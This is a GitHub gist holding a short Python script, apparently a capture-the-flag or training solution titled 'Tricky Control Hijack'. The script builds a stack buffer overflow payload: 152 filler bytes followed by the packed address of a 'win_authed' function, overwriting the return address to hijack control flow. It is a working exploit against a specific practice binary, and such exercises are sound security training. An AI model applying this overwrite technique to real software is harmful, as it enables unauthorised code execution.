Created
November 24, 2024 08:18
-
-
Save morkev/a0f46c3804ebae994370147bb39dd741 to your computer and use it in GitHub Desktop.
Binary Exploitation Tricky Control Hijack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import sys | |
offset_to_return = 152 # Calculated offset | |
win_authed_addr = 0x4017b8 # From GDB disassembly | |
payload = b"A" * offset_to_return | |
payload += struct.pack("<Q", win_authed_addr) | |
with open("payload.bin", "wb") as f: | |
f.write(payload) | |
sys.stdout.buffer.write(payload) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment